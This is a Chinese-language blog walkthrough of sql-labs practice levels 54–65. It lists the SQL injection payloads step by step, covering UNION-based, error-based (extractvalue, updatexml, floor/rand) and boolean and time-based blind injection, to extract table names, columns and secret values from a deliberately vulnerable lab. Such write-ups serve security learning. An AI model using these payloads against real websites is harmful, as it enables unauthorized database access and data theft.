sql-labs闯关54~65

发布于:2022-12-20 ⋅ 阅读:(516) ⋅ 点赞:(0)

sql-labs闯关54~65:

诚信自由自由诚信民主诚信平等诚信富强民主友善爱国法治友善自由友善爱国诚信富强民主友善爱国法治诚信民主和谐诚信民主诚信民主

复习笔记1


内容:

这些关卡的数据表名、字段名、数据都会改变,所以不会特意使用代码块,会将代码嵌入说明中

  1. sql-labs第54关(GET请求-挑战-联合查询-只允许10次-变化1)
  2. sql-labs第55关(GET请求-挑战-联合查询-只允许14次-变化2)
  3. sql-labs第56关(GET请求-挑战-联合查询-只允许14次-变化3)
  4. sql-labs第57关(GET请求-挑战-联合查询-只允许14次-变化4)
  5. sql-labs第58关(GET请求-挑战-双查询-只允许5次-变化1)
  6. sql-labs第59关(GET请求-挑战-双查询-只允许5次-变化2)
  7. sql-labs第60关(GET请求-挑战-双查询-只允许5次-变化3)
  8. sql-labs第61关(GET请求-挑战-双查询-只允许5次-变化4)
  9. sql-labs第62关(GET请求-挑战-盲注-只允许130次-变化1)
  10. sql-labs第63关(GET请求-挑战-盲注-只允许130次-变化2)
  11. sql-labs第64关(GET请求-挑战-盲注-只允许130次-变化3)
  12. sql-labs第65关(GET请求-挑战-盲注-只允许130次-变化4)

1.sql-labs第54关

1.1.1
欢迎界面换新了,从黄字来看,需要输入id来闯关,蓝字则提示了,只有10次尝试,次数达到限制则会随机重置表名
1.1.2
但是下面还有个文本框,先在文本框内随便输入,提交。我可以确定了,这个就是骗人的
1.1.3
在url后输入?id=1,查看正常输入时页面反馈
1.1.4
输入?id=1 and 1=2,可以确定是字符型
1.1.5
输入?id=1'
1.1.6
输入?id=1'--+尝试闭合,如果不行再尝试?id=1)'--+?id=1)''--+,很幸运,这关没有变形
1.1.7
跳过输入?id=1 order by 3--+节约机会,直接输入?id=-1' union select 1,2,3--+,查看显示位
1.1.8
输入?id=-1' union select 1,database(),version()--+爆库,库名再也不是熟悉的security了,那也就意味着,数据表名字段之类的可能都有变化
1.1.9
输入?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+爆表,结果这张表名看着好杂乱
1.1.10
我又怕表名被加密了,于是用常用的加密方式来测试,没发现有情况,可能表名就这么有特色
1.1.11
抱着试试看的态度把那串疑似加密过的数据表名输入,尝试爆表,输入?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='lbrygvpgxk'--+
这么凌乱的表名居然是真的,符合条件的字段一共有4个,从字段名来看,id应该就是我们所熟悉的id,secret_TWXA应该是指密码,账号的话应该是在sessidtryy之间,具体是哪个,我需要尝试
1.1.12
首先,查询idsessid,输入?id=-1' union select 1,group_concat(id),group_concat(sessid) from lbrygvpgxk--+
1.1.13
其次,查询secret_TWXAtryy,输入?id=-1' union select 1,group_concat(secret_TWXA),group_concat(tryy) from lbrygvpgxk--+
经过对比参数值,我认为账号名字段就是sessid,密码是secret_8P2Ltryy 应该就是登录次数,id就是普通id
1.1.14
登录后台进行查看,除了tryy 具体含义,基本能确定账号和密码
1.1.15
输入?id=-1' union select 1,group_concat(sessid),group_concat(secret_TWXA) from lbrygvpgxk--+爆数据,第一次做没经验,忘了只有10次机会,偶然发现在第11次查询之后数据表就会重置,也就是说,我可以查11次,11次之后就数据表重新随机生成,难怪数据表名这么有个性
1.1.16
登录后台,数据表真的改了,庆幸我没输错,不然我会一直搁着卡bug,这里可以看到tryy值是0,这几个参数含义我居然猜对了,不愧是我


2.sql-labs第55关

2.1.1
从欢迎界面可以知道,允许尝试14次,输入?id=1
2.1.2
输入?id=1 and 1=2确定类型是数值型
2.1.3
那么输入?id=-1 union select 1,2,3--+,查看回显位,是我想当然了,这关虽然这是数值型,但是还是存在别的闭合点,人麻了。
新知识:即使是数值型也可以添加闭合点,也就是说我前面的步骤少了一步,但不影响做题,懒得去逐个改了,不过我会在最终的思维导图里添加注释
2.1.4
既然不是字符型,那么单引号判断法和双引号判断法应该是用不上的,那就只剩括号了,先用括号试探一下,输入?id=-1) union select 1,2,3--+成功闭合
2.1.5
输入?id=-1) union select 1,database(),version()--+爆库和版本
2.1.6
输入?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+爆表,这次随机表名为‘kcpomoak73’
2.1.7
输入?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='kcpomoak73'--+爆字段
2.1.8
输入?id=-1) union select 1,group_concat(sessid),group_concat(secret_8NDU) from kcpomoak73--+爆数据


3.sql-labs第56关

温馨提醒,上关做完之后,记得点击“reset the challenge”
3.1.1
在url后输入?id=1
3.1.2
输入?id=1 and 1=2确定类型不是数值型
3.1.3
输入?id=1',可以确定闭合点与'有关
3.1.4
输入?id=1'--+尝试闭合,闭合失败再添加括号
3.1.5
输入?id=1')--+
3.1.6
输入?id=-1') union select 1,database(),version()--+爆库
3.1.7
输入?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+爆表
3.1.8
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='i3kyp1zhxp'--+爆字段
3.1.9
?id=-1') union select 1,group_concat(sessid),group_concat(secret_V4RW) from i3kyp1zhxp--+爆数据


4.sql-labs第57关

4.1.1
在url后输入?id=1,查看正常输入时页面反馈
4.1.2
输入?id=1 and 1=2,可以确定是字符型
4.1.3
输入?id=1',可以确定闭合点跟'没关系
4.1.4
输入?id=1"
4.1.5
输入?id=1"--+尝试闭合,闭合成功,我不用再尝试括号了
4.1.6
直接输入?id=-1"union select 1,database(),version()--+爆库
4.1.7
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+爆表
4.1.8
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='58dfsy83l6'--+爆字段
4.1.9
?id=-1" union select 1,group_concat(sessid),group_concat(secret_M6VT) from 58dfsy83l6--+爆数据


5.sql-labs第58关

5.1.1
这关好抠门,就给5次机会,不出意外的话,我会重置多次,输入?id=1
5.1.2
输入?id=1 and 1=2判断出类型是字符型
5.1.3
输入?id=1'判断是否与'有关,出现报错信息,确定闭合点就是'
5.1.4
输入?id=1'--+尝试闭合,试探一下注释符能否正确使用
5.1.5
输入?id=0' union select 1,2,3--+尝试像上几关一样用联合注入,然而根本没有出现我想要的反馈界面,那就只能用报错注入尝试了
5.1.6
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x5e,database()))--+爆库
5.1.7
输入?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+爆表

5.1.8
输入?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x5e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='tx4ilbgcr7')))--+爆字段
5.1.9
没有成功,页面提示回显数据超过一行,第一感觉就是,是不是记录多的问题
5.1.10
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x5e,(select count(sessid) from tx4ilbgcr7)))--+统计了记录数,就一条,也没哪里有问题啊
5.1.11
尝试不使用group_concat函数将结果组合,?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x5e,(select sessid from tx4ilbgcr7)))--+结果成功爆出数据 -_-


6.sql-labs第59关

6.1.1
又是抠门的5,输入?id=1
6.1.2
输入?id=1 and 1=2类型是数字型
6.1.3
输入?id=1 --+,先判断是否存在闭合符号,纯净版无闭合
6.1.4
输入?id=-1 union select 1,2,3--+判断是否可用union联合注入,看起来不可以,只能用盲注了
6.1.5
输入?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+尝试用报错注入来爆库,成功了
点击重置,再爆表
6.1.6
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+爆表
6.1.7
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='h0f7jl3wq5'),0x7e))--+爆字段
6.1.8
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(sessid) from h0f7jl3wq5),0x7e))--+爆数据


7.sql-labs第60关

7.1.1
在url后输入?id=1
7.1.2
输入?id=1 and 1=2确定类型是字符型
7.1.3
输入?id=1',可以确定闭合点与'无关
7.1.4
输入?id=1"根据报错信息可以确定闭合点是")
7.1.5
输入?id=1")--+成功闭合
7.1.6
输入?id=-1") union select 1,2,3--+可惜还是不行
7.1.7
输入?id=1") and updatexml(1,concat(0x7e,database(),0x7e),1)--+爆库
7.1.8
输入?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+爆表
7.1.9
输入?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='02qxrg5nyz'),0x7e),1)--+爆字段
7.1.10
输入?id=1") and updatexml(1,concat(0x7e,(select group_concat(sessid) from 02qxrg5nyz),0x7e),1)--+爆数据


8.sql-labs第61关

8.1
麻了,怎么又是只有5次,在url后输入?id=1,查看正常输入时页面反馈
8.2
输入?id=1 and 1=2,可以确定是字符型
8.3
输入?id=1',通过报错信息,可以确定闭合点是'))
8.4
输入?id=1'))--+闭合
8.5
输入?id=1')) and extractvalue(1,concat(0x5e,database(),0x5e))--+爆库,重置
8.6
再输入?id=1')) and extractvalue(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5e))--+爆新表
8.7
再输入?id=1')) and extractvalue(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='zq0a7yoz5c'),0x5e))--+爆字段
8.8
最后,输入?id=1')) and extractvalue(1,concat(0x5e,(select group_concat(sessid) from zq0a7yoz5c),0x5e))--+爆数据


9.sql-labs第62关

9.1
突然慷慨,有了130次机会,心里隐隐有不好的预感,输入?id=1
9.2
输入?id=1 and 1=2,可以确定是字符型
9.3
输入?id=1'那么可以确定闭合点跟'有关系,尝试闭合
9.4
输入?id=1'--+还是错误界面,说明闭合点不是'
9.5
输入?id=1')--+确定闭合点就是')
9.6
输入?id=-1 ') union 1,2,3--+ union注入不能用
9.7
输入?id=1 ') and extractvalue(1,concat(0x7e,database()))--+报错注入不能用,只能用布尔/时间注入了
以下所有代码参考第40关,详细代码请参考第8关,由于表名、列名会随机改变,我又懒得再把整套布尔注入流程来一遍 ,为了节约时间,就直接登录后台,使用,这个行为不提倡,别跟我学
9.8
输入?id=1') and length(database())>5--+判断库长度
9.9
输入?id=1') and substr(database(),1,1)>'m' --+判断数据库第一个字母
9.10
输入?id=1') and (select count(table_name) from information_schema.tables where table_schema=database())>5--+判断数据表张数>5
9.11
输入?id=1') and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 --+判断第一张数据表的长度>5
9.12
输入?id=1') and mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m'--+判断第一张数据表的第一个字母>m
9.13
输入?id=1') and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='8dvsmiadsa')>5 --+判断字段数>5
9.14
输入?id=1') and length((select column_name from information_schema.columns where table_schema=database() and table_name='8dvsmiadsa' limit 0,1))>5--+判断第一个字段的长度
9.15
输入?id=1') and mid((select column_name from information_schema.columns where table_schema=database() and table_name='8dvsmiadsa' limit 0,1),1,1)>'m'--+判断第一个字段第一个字母
9.16
输入?id=1') and (select count(sessid) from 8dvsmiadsa)>5--+判断sessid记录>5
9.17
输入?id=1') and length((select sessid from 8dvsmiadsa limit 0,1))>5 --+判断sessid第一条记录长度>5
9.18
输入?id=1') and mid((select sessid from 8dvsmiadsa limit 0,1),1,1)>'m'--+判断第一条记录的第一个字母>m


10.sql-labs第63关

10.1
在url后输入?id=1,查看正常输入时页面反馈
10.2
输入?id=1 and 1=2,可以确定是字符型
10.3
输入?id=1'那么可以确定闭合点跟'有关系,尝试闭合
10.4
输入?id=1'--+确定闭合点就是'
10.5
输入?id=1' and length(database())>5--+判断库长度
10.6
输入?id=1' and substr(database(),1,1)>'m' --+判断数据库第一个字母
10.7
输入?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5--+判断数据表张数>5
10.8
输入?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 --+判断第一张数据表的长度>5
10.9
输入?id=1' and mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m'--+判断第一张数据表的第一个字母>m
后台数据右边忘记刷新了,只需要看左半边就行
10.10
输入?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='auuj65m3lc')>5 --+判断字段数>5
10.11
输入?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='auuj65m3lc' limit 0,1))>5--+判断第一个字段的长度
10.12
输入?id=1' and mid((select column_name from information_schema.columns where table_schema=database() and table_name='auuj65m3lc' limit 0,1),1,1)>'m'--+判断第一个字段第一个字母
10.13
输入?id=1' and (select count(sessid) from auuj65m3lc)>5--+判断sessid记录>5
10.14
输入?id=1' and length((select sessid from auuj65m3lc limit 0,1))>5 --+判断sessid第一条记录长度>5
10.15
输入?id=1' and mid((select sessid from auuj65m3lc limit 0,1),1,1)>'m'--+判断第一条记录的第一个字母>m


11.sql-labs第64关

11.1
在url后输入?id=1,查看正常输入时页面反馈
11.2
输入?id=1 and 1=2,可以确定是数字型
11.3
输入?id=1--+尝试闭合
11.4
输入?id=1)--+尝试闭合,闭合点不是)
11.5
输入?id=1))--+确定闭合点就是))
11.6

输入?id=1)) and if(length(database())>5,sleep(3),1)--+判断库长度
11.7
输入?id=1)) and if(substr(database(),1,1)>'m',sleep(3),1) --+判断数据库第一个字母
11.8
输入?id=1)) and if((select count(table_name) from information_schema.tables where table_schema=database())>5,sleep(3),1)--+判断数据表张数>5
11.9
输入?id=1)) and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5,sleep(3),1) --+判断第一张数据表的长度>5
11.10
输入?id=1)) and if(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m',sleep(3),1)--+判断第一张数据表的第一个字母>m
11.11
输入?id=1)) and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='qv75cgizlh')>5,sleep(3),1) --+判断字段数>5
11.12
输入?id=1)) and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='qv75cgizlh' limit 0,1))>5,sleep(3),1)--+判断第一个字段的长度
11.13
输入?id=1)) and if(mid((select column_name from information_schema.columns where table_schema=database() and table_name='qv75cgizlh' limit 0,1),1,1)>'m',sleep(3),1)--+判断第一个字段第一个字母
11.14
输入?id=1)) and if((select count(sessid) from qv75cgizlh)>5,sleep(3),1)--+判断sessid记录>5
11.15
输入?id=1)) and if(length((select sessid from qv75cgizlh limit 0,1))>5,sleep(3),1) --+判断sessid第一条记录长度>5
11.16
输入?id=1)) and if(mid((select sessid from qv75cgizlh limit 0,1),1,1)>'m',sleep(3),1)--+判断第一条记录的第一个字母>m


12.sql-labs第65关

12.1

在url后输入?id=1,查看正常输入时页面反馈
12.2
输入?id=1 and 1=2,可以确定是字符型
12.3
输入?id=1'页面依旧未改变,那就意味着闭合点跟'没关系,再用双引号判断法尝试
12.4
输入?id=1",页面改变,那么可以确定闭合点跟'有关系,尝试闭合
12.5
输入?id=1"--+闭合点不是",再加个)试试
12.6
输入?id=1")--+确定闭合点就是")
12.7
输入?id=1") and if(length(database())>5,sleep(3),1)--+判断库长度
12.8
输入?id=1") and if(substr(database(),1,1)>'m',sleep(3),1) --+判断数据库第一个字母
12.9
输入?id=1") and if((select count(table_name) from information_schema.tables where table_schema=database())>5,sleep(3),1)--+判断数据表张数>5
12.10
输入?id=1") and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5,sleep(3),1) --+判断第一张数据表的长度>5
12.11
输入?id=1") and if(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m',sleep(3),1)--+判断第一张数据表的第一个字母>m
12.12
输入?id=1") and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='r8ucam3hep')>5,sleep(3),1) --+判断字段数>5
12.13
输入?id=1") and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='r8ucam3hep' limit 0,1))>5,sleep(3),1)--+判断第一个字段的长度
12.14
输入?id=1") and if(mid((select column_name from information_schema.columns where table_schema=database() and table_name='r8ucam3hep' limit 0,1),1,1)>'m',sleep(3),1)--+判断第一个字段第一个字母
12.15
输入?id=1") and if((select count(sessid) from r8ucam3hep)>5,sleep(3),1)--+判断sessid记录>5
12.16
输入?id=1") and if(length((select sessid from r8ucam3hep limit 0,1))>5,sleep(3),1) --+判断sessid第一条记录长度>5
12.17
输入?id=1") and if(mid((select sessid from r8ucam3hep limit 0,1),1,1)>'m',sleep(3),1)--+判断第一条记录的第一个字母>m



网站公告

今日签到

点亮在社区的每一天
去签到